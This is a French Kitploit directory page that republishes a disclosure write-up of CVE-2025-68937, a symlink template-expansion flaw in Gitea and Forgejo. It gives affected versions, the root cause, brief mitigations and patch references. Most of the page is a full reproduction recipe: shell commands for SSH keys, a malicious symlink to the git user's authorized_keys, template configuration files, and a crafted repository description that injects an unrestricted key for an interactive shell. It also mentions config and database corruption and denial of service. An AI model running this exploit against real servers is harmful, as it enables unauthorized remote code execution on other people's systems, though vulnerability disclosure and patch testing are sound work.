Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Gitea-Forgejo-CVE-2025-68937 — La traversée de répertoire dans le traitement des modèles de dépôt de Gitea et Forgejo permet à des attaquants authentifiés à distance de traiter des fichiers arbitraires sur le système de fichiers, conduisant à une exécution de code à distance. | Kitploit
Outils/GitHubGitHub/clemax/gitea-forgejo-cve-2025-68937
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHubclemax/gitea-forgejo-cve-2025-68937

Gitea-Forgejo-CVE-2025-68937

La traversée de répertoire dans le traitement des modèles de dépôt de Gitea et Forgejo permet à des attaquants authentifiés à distance de traiter des fichiers arbitraires sur le système de fichiers, conduisant à une exécution de code à distance.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 6 moisPas encore vérifié

Vulnérabilité d'expansion arbitraire de templates dans Gitea et Forgejo

forgejo-cve CC BY-SA 4.0

Ce travail est sous licence Creative Commons Attribution-ShareAlike 4.0 International License.

CC BY-SA 4.0

Résumé

En examinant le code source de Forgejo et de Gitea pour mieux comprendre comment le templating est effectué, j'ai découvert une vulnérabilité qui permet à un utilisateur authentifié de créer un dépôt de templates malveillant pouvant être utilisé pour traiter des fichiers arbitraires sur le système de fichiers.

Lors de la création d'un dépôt basé sur le contenu Git du template malveillant, le template pourra étendre des fichiers arbitraires sur le système de fichiers.

Connaissant le chemin du répertoire personnel de l'utilisateur git (qui par défaut est /data/git dans l'image docker officielle), un attaquant peut étendre le fichier .ssh/authorized_keys de l'utilisateur git afin d'injecter une clé sans le paramètre command, qui peut être utilisée pour exécuter des commandes arbitraires ou un shell interactif.

Détails techniques

Versions affectées : Gitea >= v1.11.0-rc1 && <= v1.24.6, Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)

Composant affecté : Dépôts de templates

Cause racine : Déréférencement de lien symbolique lors de la lecture et de l'écriture des contenus des fichiers de template

Déroulement de l'exploit

  1. L'attaquant s'authentifie en tant qu'utilisateur légitime

  2. L'attaquant crée un dépôt de templates malveillant contenant un lien symbolique vers le fichier .ssh/authorized_keys de l'utilisateur git deviné et un fichier .forgejo/template qui référence le lien symbolique

  3. L'attaquant ajoute une clé publique SSH à son compte avec un commentaire personnalisé se terminant par ${REPO_DESCRIPTION}

  4. L'attaquant crée un dépôt référençant le dépôt de templates malveillant avec le templating du contenu Git activé et une description contenant un saut de ligne suivi d'une autre clé publique SSH

  5. Les templates de Gitea/Forgejo lisent et templatisent le lien symbolique authorized_keys, ce qui fait que le commentaire de la clé publique précédemment définie est étendu à une entrée arbitraire correspondant à la description du dépôt de l'attaquant, sans le paramètre command

  6. L'attaquant se connecte de manière interactive en tant qu'utilisateur git, en utilisant la clé injectée

Il est également possible pour l'attaquant de corrompre le fichier de configuration, la base de données SQLite ou de provoquer un déni de service en lisant des fichiers volumineux.

Atténuation

  • Désactiver l'inscription pour les utilisateurs non fiables
  • Désactiver la création de dépôts pour les utilisateurs non fiables

Reproduction

  1. Installer et configurer une version vulnérable de Gitea/Forgejo

  2. Enregistrer ou créer un compte pour l'attaquant en utilisant le compte administrateur

  3. Se connecter avec le compte de l'attaquant

  4. Générer deux clés SSH différentes : une pour Git et une pour SSH interactif

root@kitploit:~
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
  1. Ajouter le contenu du fichier ~/.ssh/attacker-git.pub en tant que clé SSH autorisée via l'interface Gitea/Forgejo

Le commentaire de la clé doit être présent et ressembler à ceci :

root@kitploit:~
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}

Le fichier .ssh/authorized_keys de l'utilisateur git ressemble maintenant à ceci :

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
  1. Créer un dépôt de templates malveillant en utilisant l'interface Gitea/Forgejo

  2. Cloner le dépôt de templates et ajouter le lien symbolique malveillant et la configuration de template

root@kitploit:~
# Clone the template repository
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template

# Create malicious symlink
ln -s /data/git/.ssh/authorized_keys

# When using Gitea, create Gitea template configuration
mkdir .gitea
echo authorized_keys > .gitea/template

# When using Forgejo, create Forgejo template configuration
mkdir .forgejo
echo authorized_keys > .forgejo/template

# Commit and push the changes
git add -A
git commit -m 'Initial commit'

git push
  1. Créer un nouveau dépôt référençant le dépôt de templates malveillant avec le templating du contenu Git activé et une description contenant un saut de ligne suivi du contenu du fichier ~/.ssh/attacker-ssh.pub

La description du dépôt doit ressembler à ceci :

root@kitploit:~
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine

Le replaced sur la première ligne n'est pas nécessaire, mais vous devez vous assurer que le saut de ligne est toujours présent. Le commentaire attacker@machine à la fin de la ligne est également facultatif.

Le fichier .ssh/authorized_keys de l'utilisateur git résultant ressemblera à ceci :

root@kitploit:~
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
  1. Se connecter en utilisant la clé ~/.ssh/attacker-ssh et le client ssh
root@kitploit:~
ssh -i ~/.ssh/attacker-ssh git@localhost -p 222

Références

  • Notes de version de Gitea
  • Pull request de Gitea
  • Notes de version de Forgejo 13.0.2
  • Notes de version de Forgejo 11.0.7
  • Correctif de Forgejo
Télécharger l’outil